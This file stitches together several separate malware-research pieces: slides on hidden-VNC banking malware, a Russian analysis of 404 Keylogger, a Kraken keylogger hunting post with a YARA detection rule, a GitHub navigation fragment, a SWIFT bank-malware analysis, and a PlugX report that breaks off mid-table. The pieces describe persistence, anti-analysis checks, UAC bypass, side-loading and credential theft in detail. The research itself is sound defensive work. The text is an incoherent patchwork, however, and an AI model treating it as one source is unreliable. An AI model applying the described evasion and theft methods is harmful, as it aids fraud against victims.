# Who Hid My Desktop ## DEEP DIVE INTO HVNC **Or Safran, Pavel Asinovsky** **IBM Trusteer, Israel** **November 2017** ## Agenda - Intro - What is VNC. - Part 1 - Sessions, Window Stations, Desktops. - Part 2 - Financial malware. - hVNC. - Part 3 - Reversing Gozi ISFB’s hVNC module. - Demo. - Detection/IOCs. ## IBM Security VNC & hVNC ### Who are we - IBM Security (Trusteer) Financial Malware Research Team - Or Safran - Pavel Asinovsky ### Remote Desktop Software - Allows remote control of a computer across the network. - Originally was used for remote technical support. - Used for server administration, conference calls, file transfers, etc. - Has many implementations: RDP, VNC, Citrix, LogMeIn, TeamViewer, etc. ### What is VNC - Virtual Network Computing. - Graphical desktop sharing system that uses the RFB protocol (Remote Frame Buffer). - Composed of a server and a client. - Platform independent. - Default TCP port 5900. - The desktop is shared. - Used by many RAT (Remote Access Tool) Malware. ## Part 1 – Sessions, Window Stations and Desktops ### Sessions, Window Stations and Desktops - Securable kernel objects (contain a security descriptor). - Used as containers to manage graphical objects, provide isolation and security. - Structured in hierarchy. - Each session contains only one interactive window station – WinSta0. ### Sessions - Represent a single user’s logon session. - Each user is assigned with a different session. - Session 0 is the base session (the system user session). - Session 0 is isolated from the user sessions. ### Window Stations - A logical security boundary. - Contains a clipboard, atom table, and one or more desktop objects. - Contains the keyboard, mouse, and a display device. - Associated with a process. - The interactive window station (WinSta0) is the only that can display user interface or receive user input. - Used by Chrome to implement a “Sandbox”. ### Desktops - A desktop is a logical display surface that contains UI objects such as windows, menus and hooks. - Used as a container to create and manage windows. - Associated with a thread. - By default, there are few interactive desktops on Windows: - The default desktop: \Sessions\1\Windows\WinSta0\Default - The Winlogon secure desktop: \Sessions\1\Windows\WinSta0\Winlogon - And more… - There can be only one interactive desktop at a time. ### Winlogon Secure Desktop Examples ### Multiple Desktops - Supported by Windows API since Windows 2000. - Have many legitimate uses: - Security applications - Multiple desktops - Windows logon/logoff screens - UAC - Ctrl + Alt + Del screen - Screensavers ### Association to Desktops under the hood - When a program calls a USER32 or GDI32 function, a window station is assigned to the calling process and a desktop is assigned to the calling thread according to the following rules: - As specified using the SetThreadDesktop() / SetProcessWindowStation() APIs. - Inherited from the parent process. - As specified in the STARTUPINFO structure. - The calling thread connects to the “\Default” Desktop. ## Part 2 – Financial Malware and hVNC ### About financial malware - Credential theft techniques: - Web Injections - Form Grabbing - Cookie Grabbing - KeyLogging (kernel mode / user mode) - SSL Proxy (with certificate installation) - DNS Pharming - Redirects ### Financial Malware and hVNC - Introduced to the world by the infamous Zeus malware. - Allows the attacker to use the exact same machine as the victim. - hVNC alone is usually not enough to commit a fraudulent transaction. - Most modern financial malware have an embedded hVNC module (Zeus, Gozi, Dridex and more). ### hVNC Evolution - Password validation - Keyloggers/Form grabbers - IP/Geo-location validation - SOCKS Proxy Server - Browser/System fingerprint - hVNC ### hVNC - Has same capabilities like regular VNC. - Hidden (runs on a different desktop). - Cannot see the user’s desktop and can’t be seen by the user. - Makes sure the SwitchDesktop API is never called. - Has the same browser-system fingerprint as the user. - Uses BackConnect – the server sends the first connection request to the client. - Slightly modified RFB protocol to authenticate the malware. - Must implement all the user interaction by itself (Windows supports only a single interactive desktop at a time). - Can be used to log in to active web sessions (shopping websites, Facebook, Gmail). ### hVNC Malware Process - CreateDesktop() - Hidden Desktop created - SetThreadDesktop() - The hidden desktop is assigned to the malware - CreateProcess() - Explorer.exe (Taskbar, start menu and desktop icons) ## Part 3 – Gozi ISFB hVNC case study ### Gozi ISFB - One of the most widespread financial malwares. - One of the best hVNC modules found in the wild. - Based on the hVNC code of Zeus. - Has debug versions – fd36d1e2be1f0079c7cb66288778ffa9. - Became an open source malware when an unknown player leaked its code (the hVNC module is missing from the source code). ### Finding and Decrypting Gozi’s hVNC Module - The hVNC module is downloaded from a remote server. Encrypted hVNC, RSA key is stored in the binary. - The module is encrypted with two layers of encryption: - Serpent cipher with a randomly generated key (appended to the encrypted module). - The Serpent encrypted hVNC module and the Serpent key are encrypted again using an RSA cipher. ### Gozi’s hVNC injection to processes - The code injection technique is the same one the Gozi malware uses. ### hVNC Server Authentication - Most hVNC modules send a unique identifier of the malware to the hVNC client in order to authenticate it. - A regular VNC client will not work out of the box, it has to be reversed and patched. - After the authentication phase is over, the regular RFB protocol is initiated. ### Browser manipulation - Has code to deal with every common browser (IE, Chrome, Firefox, Opera). - One cannot open the same browser in two separate desktops under the same user profile. ### Browser manipulation - Chrome - For Chrome, hVNC copies the whole user profile (user data folder) to a different location and sets it as the user data directory for the new browser process. ### Browser manipulation - Internet Explorer - hVNC doesn’t want to allow IE to merge different frames into the same process. - Virtual registry hooks: - Hook registry query functions to change settings only in the hVNC session without any permanent changes. - IE settings: - Alter many IE settings virtually: protected mode for internet zones, enhanced protected mode and more. - UAC adjustments: - When UAC is on and off, IE uses different location to load session cookies. ### System manipulation - Virtual registry hooks for changing system settings: - Disable visual effects [Software\Microsoft\Windows\CurrentVersion\Explorer\VisualEffects] - Disable active desktop [Software\Microsoft\Windows\CurrentVersion\Policies] - Removes wallpaper [Software\Microsoft\Internet Explorer\Desktop\General] - Hook window events: - EVENT_OBJECT_CREATE - EVENT_OBJECT_HIDE - EVENT_OBJECT_SHOW - EVENT_OBJECT_DESTROY - EVENT_OBJECT_LOCATIONCHANGE - etc. - Virtual keyboard and mouse (PostMessage to the topmost window). - Virtual Clipboard. - Screenshots (Using BitBlt and PrintWindow APIs). ### Taking the “h” off - We are able to watch fraudsters in action with two easy steps. - Open a handle by using the OpenDesktop API. - Switch to the fraudster’s desktop using the SwitchDesktop API. ### Piecing the Puzzle - Obtain and decrypt the hVNC module. - Inject the hVNC module into explorer.exe the same way Gozi does. - Direct the hVNC module to communicate with our machine instead of the one originally hardcoded into the binary. - Overcome the protocol differences between Gozi’s hVNC and the standard RFB. ### Demo - Server (Victim) - Manually inject the Gozi hVNC module and make it run from explorer.exe. - Make it connect to our VNC client by replacing the IP address. - Establish a connection and bypass the bot identifier authentication. ### IOCs - Second explorer.exe holding a handle to an unknown desktop (Not the default one). - Usually has ctfmon.exe automatically running under it (text input services support). - Has processes running under it that you don’t see their windows, such as a browser. ### Conclusions - The hVNC code is extremely complicated. - It is one of the top tools in the financial malware toolkit. - It uses many cool tricks and manipulations in order to achieve its purpose. - Although not new, it is still popular and common in online banking fraud today. ### Questions? **THANK YOU** **FOLLOW US ON:** ibm.com/security securityintelligence.com xforce.ibmcloud.com @ibmsecurity youtube/user/ibmsecuritysolutions © Copyright IBM Corporation 2016. All rights reserved. The information contained in these materials is provided for informational purposes only, and is provided AS IS without warranty of any kind, express or implied. Any statement of direction represents IBM's current intent, is subject to change or withdrawal, and represents only goals and objectives. IBM, the IBM logo, and other IBM products and services are trademarks of the International Business Machines Corporation, in the United States, other countries or both. Other company, product, or service names may be trademarks or service marks of others.
# Кейлоггер с сюрпризом: анализ клавиатурного шпиона и деанон его разработчика В последние годы мобильные трояны активно вытесняют трояны для персональных компьютеров, поэтому появление новых вредоносных программ под старые добрые «тачки» и их активное использование киберпреступниками, хотя и неприятное, но все-таки событие. Недавно центр круглосуточного реагирования на инциденты информационной безопасности CERT Group-IB зафиксировал необычную фишинговую рассылку, за которой скрывалась новая вредоносная программа для ПК, сочетающая в себе функции Keylogger и PasswordStealer. Внимание аналитиков привлекло то, каким образом шпионская программа попадала на машину пользователя — с помощью популярного голосового мессенджера. Илья Померанцев, специалист по анализу вредоносного кода CERT Group-IB, рассказал, как работает вредоносная программа, чем она опасна, и даже нашел ее создателя — в далеком Ираке. Итак, пойдем по порядку. Под видом вложения в таком вот письме содержалась картинка, при клике на которую пользователь попадал на сайт cdn.discordapp.com, и оттуда загружался вредоносный файл. Использование Discord, бесплатного голосового и текстового мессенджера, достаточно нестандартно. Обычно для этих целей используются другие мессенджеры или социальные сети. В процессе более детального анализа было установлено семейство ВПО. Им оказался новичок на рынке вредоносных программ — 404 Keylogger. Первое объявление о продаже кейлоггера было размещено на hackforums пользователем под ником «404 Coder» 8 августа. Домен магазина был зарегистрирован совсем недавно — 7 сентября 2019 года. Как уверяют разработчики на сайте 404projects.xyz, 404 — это инструмент, созданный, чтобы помочь компаниям узнавать о действиях своих клиентов (с их разрешения) или он нужен тем, кто желает защитить свой бинарный файл от реверс-инжиниринга. Забегая вперед, скажем, что с последней задачей 404 точно не справляется. Мы решили разреверсить один из файлов и проверить, что из себя представляет «BEST SMART KEYLOGGER». ## Экосистема ВПО ### Загрузчик 1 (AtillaCrypter) Исходный файл защищен при помощи EaxObfuscator и осуществляет двухэтапную загрузку AtProtect из секции ресурсов. В ходе анализа других сэмплов, найденных на VirusTotal, стало понятно, что эта стадия не предусматривалась самим разработчиком, а была добавлена его клиентом. В дальнейшем было установлено, что этим загрузчиком является AtillaCrypter. ### Загрузчик 2 (AtProtect) По факту этот загрузчик является неотъемлемой частью ВПО и, по замыслу разработчика, должен брать на себя функционал по противодействию анализу. Однако на практике механизмы защиты крайне примитивны, и наши системы успешно детектят это ВПО. Загрузка основного модуля осуществляется при помощи Franchy ShellCode различных версий. Однако мы не исключаем, что могли использоваться и другие варианты, например, RunPE. ### Конфигурационный файл Закрепление в системе обеспечивается загрузчиком AtProtect, если установлен соответствующий флаг. Файл копируется по пути %AppData%\\GFqaak\\Zpzwm.exe. Создается файл %AppData%\\GFqaak\\WinDriv.url, запускающий Zpzwm.exe. В ветке HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run создается ключ на запуск WinDriv.url. ## Взаимодействие с C&C ### Загрузчик AtProtect При наличии соответствующего флага ВПО может запустить скрытый процесс iexplorer и перейти по указанной ссылке, чтобы уведомить сервер об успешном заражении. ### DataStealer Вне зависимости от используемого метода сетевое взаимодействие начинается с получения внешнего IP жертвы с помощью ресурса http://checkip.dyndns.org/. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;). Одинакова и общая структура сообщения. Присутствует заголовок |------- 404 Keylogger — {Type} -------|, где {type} соответствует типу передаваемой информации. Далее следует информация о системе: ``` _______ + VICTIM INFO + _______ IP: {Внешний IP} Owner Name: {Имя компьютера} OS Name: {Название ОС} OS Version: {Версия ОС} OS PlatForm: {Платформа} RAM Size: {Размер ОЗУ} ______________________________ ``` И, наконец, — передаваемые данные. ### SMTP Тема письма имеет следующий вид: 404 K | {Тип сообщения} | Client Name: {Имя пользователя}. Интересно, что для доставки писем клиенту 404 Keylogger используется SMTP-сервер разработчиков. Это позволило выявить некоторых клиентов, а также почту одного из разработчиков. ### FTP При использовании этого метода собираемая информация сохраняется в файл и сразу же оттуда читается. Логика этого действия не совсем понятна, однако это создает дополнительный артефакт для написания поведенческих правил. %HOMEDRIVE%%HOMEPATH%\\Documents\\A{Произвольное число}.txt ### Pastebin На момент анализа этот метод применяется только для передачи украденных паролей. Причем он используется не как альтернатива первым двум, а параллельно. Условием является значение константы, равное «Vavaa». Предположительно, это имя клиента. Взаимодействие происходит по https-протоколу через API pastebin. Значение api_paste_private равно PASTE_UNLISTED, что запрещает поиск таких страниц в pastebin. ## Алгоритмы шифрования ### Извлечение файла из ресурсов Полезная нагрузка хранится в ресурсах загрузчика AtProtect в виде Bitmap-картинок. Извлечение осуществляется в несколько стадий: 1. Из картинки извлекается массив байтов. Каждый пиксель трактуется как последовательность из 3 байтов в порядке BGR. После извлечения первые 4 байта массива хранят длину сообщения, последующие — само сообщение. 2. Вычисляется ключ. Для этого высчитывается MD5 от значения «ZpzwmjMJyfTNiRalKVrcSkxCN», указанного в качестве пароля. Полученный хеш записывается дважды. 3. Выполняется расшифровка алгоритмом AES в режиме ECB. ## Вредоносный функционал ### Downloader Реализуется в загрузчике AtProtect. - Обращением по [activelink-repalce] запрашивается статус сервера о готовности отдать файл. Сервер должен вернуть “ON”. - По ссылке [downloadlink-replace] скачивается полезная нагрузка. - С помощью FranchyShellcode осуществляется инжект полезной нагрузки в процесс [inj-replace]. В ходе анализа домена 404projects.xyz на VirusTotal были выявлены дополнительные экземпляры 404 Keylogger, а также несколько видов загрузчиков. Условно они делятся на два типа: 1. Загрузка осуществляется с ресурса 404projects.xyz. Данные закодированы Base64 и зашифрованы AES. 2. Этот вариант состоит из нескольких этапов и, вероятнее всего, используется в связке с загрузчиком AtProtect. На первой стадии данные загружаются с pastebin и декодируются при помощи функции HexToByte. На второй стадии источником загрузки служит сам 404projects.xyz. При этом функции декомпрессии и декодирования аналогичны найденным в DataStealer. Вероятно, изначально планировалось реализовать функционал загрузчика в основном модуле. На этом этапе полезная нагрузка уже находится в ресурс-манифесте в сжатом виде. Аналогичные функции извлечения также были найдены в основном модуле. Среди проанализированных файлов были найдены загрузчики njRat, SpyGate и других RAT. ### Keylogger Период отправки лога: 30 минут. Поддерживаются все символы. Спецсимволы экранируются. Есть обработка клавиш BackSpace и Delete. Учитывается регистр. ### ClipboardLogger Период отправки лога: 30 минут. Период опроса буфера: 0,1 секунды. Реализовано экранирование ссылок. ### ScreenLogger Период отправки лога: 60 минут. Скриншоты сохраняются в %HOMEDRIVE%%HOMEPATH%\\Documents\\404k\\404pic.png. После отправки папка 404k удаляется. ### PasswordStealer **Браузеры** Chrome Firefox SeaMonkey IceDragon PaleMoon Cyberfox BraveBrowser QQBrowser IridiumBrowser XvastBrowser Chedot 360Browser ComodoDragon 360Chrome SuperBird CentBrowser GhostBrowser IronBrowser Chromium Vivaldi SlimjetBrowser Orbitum CocCoc Torch UCBrowser EpicBrowser BliskBrowser Opera **Почтовые клиенты** Outlook Thunderbird Foxmail **FTP-клиенты** FileZilla ## Противодействие динамическому анализу - Проверка нахождения процесса под анализом осуществляется с помощью поиска процессов taskmgr, ProcessHacker, procexp64, procexp, procmon. Если найден хотя бы один, ВПО завершает работу. - Проверка нахождения в виртуальной среде осуществляется с помощью поиска процессов vmtoolsd, VGAuthService, vmacthlp, VBoxService, VBoxTray. Если найден хотя бы один, ВПО завершает работу. - Засыпание на 5 секунд. - Демонстрация диалоговых окон различных типов может быть использовано для обхода некоторых песочниц. - Обход UAC выполняется через редактирование ключа реестра EnableLUA в настройках групповой политики. - Применение атрибута «Скрытный» для текущего файла. - Возможность выполнить удаление текущего файла. ## Неактивные возможности В ходе анализа загрузчика и основного модуля были найдены функции, отвечающие за дополнительный функционал, однако они нигде не используются. Вероятно, это связано с тем, что ВПО все еще в разработке, и вскоре функциональность будет расширена. ### Загрузчик AtProtect Была найдена функция, отвечающая за подгрузку и инжект в процесс msiexec.exe произвольного модуля. ### DataStealer - Закрепление в системе. - Функции декомпрессии и дешифровки. Вероятно, скоро будет реализовано шифрование данных при сетевом взаимодействии. - Завершение процессов антивирусов. ## Профиль злоумышленника В ходе анализа командного центра удалось установить почту и ник разработчика — Razer, он же Brwa, Brwa65, HiDDen PerSOn, 404 Coder. Далее было найдено любопытное видео на YouTube, где демонстрируется работа с билдером. Это позволило найти оригинальный канал разработчика. Стало ясно, что опыт в написании крипторов у него имеется. Там же есть ссылки на страницы в социальных сетях, а также настоящее имя автора. Им оказался житель Ирака. Вот так, предположительно, выглядит разработчик 404 Keylogger. CERT Group-IB оповестил о новой угрозе — 404 Keylogger — круглосуточный центр мониторинга и реагирования на киберугрозы (SOC) в Бахрейне.
# Kraken - The Deep Sea Lurker Part 2 **May 26, 2023** **0xToxin** **Threat Analyst & IR team leader - Malware Analysis - Blue Team** ## Intro In the second part of analyzing the “KrakenKeylogger”, I will be diving into some proactive “threat hunting” steps I’ve done during my research about the Kraken. If you haven’t already read the first part of analyzing the Kraken, be sure to check it out. With that saying let’s begin! ## What we have? Let’s start with what we currently have and how we can pivot with it: - **C2:** thereccorp.com - **Payload fetching domain:** masherofmasters.cyou - **Binary Name:** KrakenStub The hunting will be split into 4 parts: 1. thereccorp.com analysis 2. masherofmasters.cyou analysis 3. UnpackMe Yara Hunt 4. OSINT research ## thereccorp.com Analysis We start off with our final C2 domain thereccorp.com. Searching the domain in VirusTotal will respond with a solid 0/87 vendors detection. Going to the relations tab and looking at the Communicating Files, we can see 22 files which all were flagged as malicious. All files are pretty recent (oldest one dated to 7th of May 23), this helps us understand that the campaign is pretty new and keeps being distributed. Some files were already analyzed by various sandboxes, which helped me a lot by downloading the file from those sandbox reports (most sandboxes I know allow downloading the examined sample). Let’s have a look at a couple of samples that were actually flagged falsely: **RareCommodityHelper.exe** - **Sha256:** 8a6bebf08f6c223ed9821ee3b80e420060c66770402687f5c98555f9b0cd02a3 - **VirusTotal** - **MalwareBazaar** Looking at the Vendor Threat Intelligence tab in the MalwareBazaar report, we can see that 3 different families are associated with the sample. I’ve opened the report of JoeSandbox and simply searched for the string "kraken" and surprisingly look what popped up: Why would AgentTesla malware have a KrakenStub named file during its execution? I also took a look at the UnpackMe report. Looking at the unpacked binary that was flagged as masslogger, we can see the ProductName, FileDescription, OriginalFilename, and InternalName share the same suspicious string we’re looking for: KrakenStub. **RareCommodityHelper.exe** - **Sha256:** 413ec94d35627af97c57c6482630e6b2bb299eebf164e187ea7df0a0eb80ecc6 - **VirusTotal** - **MalwareBazaar** Going with the same approach as before, I took a look at the report of the different vendors under the MalwareBazaar page and found again 3 different families. I once again checked if our suspicious Kraken string can be found either in JoeSandbox or UnpackMe reports and guess what? Kraken was found in both of them once again. At this point, I felt comfortable with my findings from the C2 IOC. Let’s move to the second domain we have. ## masherofmasters.cyou Analysis Typically, when I encounter a domain, I will investigate it in 3 main sources: 1. VirusTotal 2. URLscan 3. URLhaus These three are my go-to sources for initial domain information gathering. ### VirusTotal Looking at the domain on VirusTotal can give us a lot of data, such as DNS records, JARM fingerprints, SSL Certs, WhoIS lookup, and much more. The interesting part that I look for when doing a proactive hunt is the Relations tab. This tab can tell us which IPs this domain was assigned to, if it has subdomains, and which associated files this domain had connections with. Based on the given list, we can see that 5 files were .lnk files, which correlated with our execution flow explained in part 1. ### URLscan Unfortunately, at the time of investigation, the domain was already terminated and no previous scans were made on URLscan, so I couldn’t find anything about it here. ### URLhaus When I searched the domain in URLhaus, I found about 12 hits. Some of the files are being flagged as MassLogger, others were flagged as SnakeKeylogger and also AgentTesla. I investigated all the files and actually, the ones that were marked as AgentTesla were indeed that malware, but the samples which were flagged as MassLogger and SnakeKeylogger were actually our beloved Kraken. ## UnpackMe Yara Hunt UnpackMe provides a unique service of proactive lookback on samples analyzed by the platform based on a given Yara rule. The rule I’ve created was simply based on unique strings that I found in the sample: ```yara rule Win_KrakenStealer { meta: description = "Win_KrakenStealer rules" strings: $s1 = "KrakenStub" ascii wide $s2 = "KrakenStub.exe" ascii wide $s3 = "Kraken_Keylogs_" ascii wide $s4 = "Kraken_Password_" ascii wide $s5 = "Kraken_Screenshot_" ascii wide $s6 = "Kraken_Clipboard_" ascii wide $s7 = "KrakenClipboardLog.txt" ascii wide condition: uint16(0) == 0x5a4d and 5 of ($s*) } ``` And here is the result of the hunt: In a 12-week lookback, there were 11 samples that fitted the given Yara Rule, 8 of them were marked as MassLogger. I took a look at one of them and by simply looking at the File Version Information, we can see that it’s 99% our Kraken. I downloaded the sample and opened it in DnSpy and guess what? It was our Kraken! So we found about 11 samples that are flagged falsely. With that, our hunt for samples is done. From here, you can pretty much correlate some IOCs to see whether or not it’s the same threat actor. ## OSINT Research At this part, I wanted to try and find the origin of the malware, so I tried two things: 1. Search engine dorking 2. Underground forums ### Search Engine Dorking I tried to search the term "KrakenStub" malware both in Google and DuckDuckGo. Besides giving me 2 analyses, one from JoeSandbox and the second from Vmray, I couldn’t find anything useful, but it’s always good to try and search using search engines because you can’t really know what you can find. ### Underground Forums There are several underground/hacking forums that you can find on the clean web without the need to go to TOR and pivoting around the darknet. One of the most known hacking forums out there is HackForums, so I tried my luck and searched through the marketplace forum for “Kraken” keywords. After quite some time, I found this thread: **#1 KrakenKeylogger | 3 Senders | E-Mail Client & Browser Recovery | Perfect Features** sold by a user named Krakenz. What a perfect hit! That particular finding made my day; I knew that this is it. I’ve closed the circle and I can close this case and fully resolve it. ## Extra Findings After I’ve published part 1 of analyzing the Kraken, @jw4lsec and I had a small conversation, and he shared with me that Windows Defender was flagging the sample I’ve shared during the investigation as a different malware upon each different execution attempt. ## Summary In the 2nd part of analyzing the Kraken, I’ve shown you my way of thinking and approach to the process of threat hunting, especially when your gut tells you that something here is not right. I hope that during these two parts of analysis, you’ve learned new things. Feel free to PM me via any social media.
# TL-TROJAN/TL.RAT/RAT.Win.njRAT ## Product - Features - Mobile - Actions - Codespaces - Packages - Security - Code review - Issues - Integrations - GitHub Sponsors - Customer stories ## Team ## Enterprise ## Explore - Explore GitHub - Learn and contribute - Topics - Collections
# Attacks on SWIFT Banking System Benefit From Insider Knowledge By Christiaan Beek on May 20, 2016 In recent months, we’ve seen headlines about the compromise of a bank in Bangladesh from which cybercriminals attempted to steal US$951 million. The malware they used was able to manipulate and read unique messages from SWIFT (Society for Worldwide Interbank Financial Telecommunication), as well as adjust balances and send details to a remote control server. BAE Systems wrote a detailed analysis and concluded that the malware must be based on a framework of different modules that could be used for multiple targets. This week SWIFT sent another warning without details about another bank, this time in Vietnam that was compromised. According to a bank spokesperson, they detected in a timely manner the fraudulent transfer of $1.13 million in December 2015. Because we know the attackers had some insight into the Bangladesh attack, McAfee assumed the attackers also knew something beforehand about the Vietnamese bank. We investigated possible malware indicators for the latter attack. Files used for the investigation: - MD5: 0b9bf941e2539eaa34756a9e2c0d5343 - MD5: 909e1b840909522fe6ba3d4dfd197d93 We focused our analysis primarily on the first sample. The file’s compile timestamp is 2015-12-04 02:04:23. The first submission of the file from Vietnam was on December 22, 2015. In the case of the Vietnamese bank, the file used for the attack is a fake version of the popular PDF reader Foxit. The malware installs itself in the original Foxit installation directory and renames the original file to FoxltReader.exe. Once the user starts using the fake reader, the malware executes and writes to a log file in the temp directory C:\Windows\temp\WRTU\ldksetup.tmp. Analyzing this file, we see the log data is XOR encoded using the value 0x47. As in the case of the Bangladeshi bank, the malware uses the configuration file Lmutilps32.dat, which can also be found in C:\Windows\temp\WRTU\. This file is also XOR encoded, with the value 0x7C4D5978. Was this malware part of a targeted attack? Yes, absolutely. As in the malware used against the Bangladeshi bank, we found the SWIFT code for the target in multiple places in the malware: The code TPBVVNVX is the SWIFT code for the Tienphong Commercial Joint Stock Bank, in Hanoi. We also noticed that there were more SWIFT codes in the code. These banks are based in Australia, Singapore, Japan, Korea, Vietnam, Italy, and the United States. We wondered why the actors would put this particular list in the malware. Further analyzing the working of the malware, we discovered an interesting part in the code concerning "Executing the real Foxit reader" and the next section in the code states “PDFmodulation success…”. This hints at the manipulation of PDF files. In the code, we found that the malware uses the original driver fpdsdk.dll from the Foxit SDK to execute the transformation of the files. We discovered functionality in the code that converts PDF files to XML files, which are stored in the folder C:\Documents and Settings\Test\Local Settings\Temp\. The filenames start with XXX or RSP followed by a value between 0-F and finish with the extension .tmp. Let’s return to our list of SWIFT codes of other banks. The malware reads the SWIFT messages and checks if the sender of the message is one of the listed banks. Once it finds these messages, it reads their information. The malware can manipulate these messages: deleting transactions, transaction history, and system logs, and prevent the printing of the fraudulent transactions. As in the Bangladeshi attack, we found some typos: - Bangladesh: “fandation” instead of “foundation” and “alreay” instead of “already” - Vietnam: “FilleOut” instead of “FileOut” Does this analysis tell us anything about the actors? It might, but these details form a weak indicator. How easy is it to misspell some words on purpose to mislead investigators? **Conclusion** In both attacks, we can see that the attackers have done their reconnaissance properly and may have used an insider to get the details they needed to prepare their attacks. In the Bangladeshi case, for example, the malware samples are tuned to the environment and how the banking system operates, including the supported software, databases, and printer. In the Vietnamese case, the malware is also tuned to fit the environment. The attackers knew that the bank used Foxit and replaced it with a fake version. The attackers have a very good understanding of the SWIFT messaging system and how to manipulate the system to prevent the detection of their fraudulent attempts of transferring the money. The malware in each attack was compiled just before the attack happened. Although both attacks were discovered at some point during the attempts to transfer large amounts of money, the actors may well have executed a few test runs to check their operations before the real attacks. The operation in Vietnam happened in December 2015 and was discovered after an investigation of the incident in February 2016 in Bangladesh. The Vietnamese attack was reported to the banking world in May 2016. Would logs still be available for an incident that happened about six months ago? Would the possible test runs be traceable? These are some of the many questions that arise. One lesson from both cases is that when a fraud alert is triggered by either an internal system or by transaction authorities, a thorough analysis—including an in-depth analysis of the malware—of the tactics and procedures used by the attackers is needed. In this case, investigators can share indicators such as MD5 sums, but because the attackers have customized their malware, sharing would be of little value. On the other hand, sharing the methods used by the attackers, the inner workings of the malware, and its manipulation of the systems should teach us where to look and adapt our defenses.
# PlugX Malware Being Distributed via Vulnerability Exploitation By Sanseo March 9, 2023 ASEC (AhnLab Security Emergency response Center) has recently discovered the installation of the PlugX malware through the Chinese remote control programs Sunlogin and AweSun’s remote code execution vulnerability. Sunlogin’s remote code execution vulnerability (CNVD-2022-10270 / CNVD-2022-03672) is still being used for attacks even now ever since its exploit code was disclosed. The team previously made a post about how Sliver C2, XMRig CoinMiner, and Gh0st RAT were being distributed through the Sunlogin RCE vulnerability. Additionally, since Gh0st RAT was developed in China, it is the most common RAT used by threat actors based in China. AweSun is also a remote control program developed in China and, while its specific vulnerability has not been identified, it is presumed that a similar RCE vulnerability to that of Sunlogin had been disclosed. The same threat actors performed an RCE vulnerability exploitation on both Sunlogin and AweSun to install Sliver C2. A previous blog post has covered the cases that later occurred where similar vulnerability exploitations were used to install the Paradise ransomware. PlugX is one of the major backdoors used by APT threat groups that are based in China. Its distribution is known to have started in 2008 and is still being used to this day as variants with additional features are being used for attacks. Mustang Panda, Winnti, APT3, and APT41 are the main APT threat groups that have used PlugX in their attacks, and most of them are known to be based in China. PlugX is a module-based malware that supports various plugins with different features. Therefore, threat actors can perform malicious behaviors such as system control and information theft by using the various features from these plugins. Another characteristic of PlugX is its use of the DLL side-loading method. The DLL side-loading method involves installing a malicious DLL in the same path as a normal program and using the execution of the normal program to load the malicious DLL, which in turn starts the malicious routine. This is to evade being detected by security products. The normal program becomes the subject performing the malicious behaviors and these behaviors are then recognized as the behaviors of a normal program. PlugX is usually distributed as a compressed file or a dropper, but, either way, the normal EXE file, the malicious loader DLL that’s going to be used for side-loading with the same filename, and the encoded data files are ultimately created in the same directory. The executable file loads and executes the loader DLL in the same path, which in turn reads and decrypts the data file in the same directory before executing it in the memory. After this process, the malware that is ultimately operating in the memory area is PlugX. ## PlugX Installed Through Vulnerability Exploitation ASEC is monitoring attacks against systems with either unpatched vulnerabilities or inappropriately configured settings. Recently, the team confirmed that PlugX is being installed through the RCE vulnerability exploitation of Sunlogin and AweSun. According to AhnLab’s ASD (AhnLab Smart Defense) log, the team has confirmed that the PowerShell command executed via this vulnerability exploitation creates a file named esetservice.exe. esetservice.exe is actually the HTTP Server Service program made by the company ESET, meaning it's a normal file. Further investigation into related logs revealed that the threat actor also downloaded a file named http_dll.dll aside from esetservice.exe. Additionally, the following is a log from another system that shows the threat actor not only exploited Sunlogin, but also the AweSun vulnerability in their attack. During the process of investigating the connection between the two files, it was discovered that the “esetservice.exe” program has a feature that loads the “http_dll.dll” file in the same directory if executed without an additional argument. This is a classic DLL side-loading method, and PlugX is most known for using this method. PlugX is distributed with the normal exe program, the DLL that acts as the loader, and the data file containing the actual encoded malware, as a set. An analysis of the actual code revealed that the “http_dll.dll” file contains a routine to read the “lang.dat” file that is in the same directory before decrypting and executing it. ## PlugX Dropper and Loader Analysis During the analysis of PlugX, malware using the same “esetservice.exe” and “http_dll.dll” files in their attack was found on VirusTotal. This malware is a WinRar Sfx format dropper malware that creates “esetservice.exe,” “http_dll.dll,” and “lang.dat” upon execution. It then runs “esetservice.exe” to ultimately install and execute PlugX. While this dropper was not found in the vulnerability exploitation covered above, considering that PlugX’s C&C address is the same as the download URL used in the vulnerability exploitation, it can be assumed that the same threat actor is behind both attacks. The PlugX dropper disguises itself as the path of normal programs and creates malware in the “C:\ProgramData\Windows NT\Windows eset service” path. They are also hidden through the properties setting to make them less noticeable by users. When “esetservice.exe” is executed, it loads the “http_dll.dll” file in the same directory, and consequently executes the DllMain() function of “http_dll.dll”. Instead of directly executing the function for loading the “lang.dat” file, DllMain() modifies the code of “esetservice.exe,” before applying a patch so that “esetservice.exe” loads “http_dll.dll” and branches into the “http_dll.dll” loader routine itself. This routine is responsible for loading the “lang.dat” file in the same directory and executing it in the memory. The beginning part of the “lang.dat” file is a shellcode. When this code is executed, it decrypts PlugX which has been saved with it and executes it in the memory. ## Analysis of PlugX As explained above, PlugX is a malware that has gone through continuous updates for more than a decade, so all sorts of variants are being discovered even now. In 2020, a report about the classification and analysis of various PlugX variants was published on Dr.Web. The PlugX that is currently being analyzed is almost identical to the BackDoor.PlugX.38 variant that was reported on Dr.Web. Excluding the configuration data, it can be assumed that it is the same as the PlugX on the most recent Security Joes report. The PlugX used in the attack offers various modes according to the argument given. The following is a process tree that can be found when the PlugX that is currently being analyzed is executed. It can be inferred that the 4 modes, “100”, “200”, “201”, and “209” are executed in order. When the PlugX dropper is executed for the first time, it creates the files “esetservice.exe”, “http_dll.dll”, and “lang.dat” under the “%PUBLIC%\Downloads\” directory before executing “esetservice.exe”. After being loaded and executed by the “esetservice.exe” process, PlugX uses the create method of WMi’s Win32_Process class to give the argument “100” and execute itself again. When executed after being given “100” as an argument, the UAC bypass process is started after an injection process. “runonce.exe” is the process that is targeted and injected with a shellcode. The injected shellcode is responsible for abusing the ICMLuaUtil interface to bypass UAC and run the process with admin privileges. “esetservice.exe” is able to run with admin privileges thanks to this. Afterward, it registers itself as a service and sets the argument to “200”. When the process reaches this point, it gives the “runonce.exe” process, which is the target of injection again, the argument “201” before executing and injecting itself. “runonce.exe” then gives the argument “209” to the “msiexec.exe” process responsible for plugins before executing and injecting it. The above procedure means that a different mode is executed according to the argument given. | Argument | Mode | |------------------|--------------------------| | No argument | Initial execution stage | | 100 | UAC bypassing stage | | 200 | Injection stage | | 201 | Main loop #1 | | 202 | Main 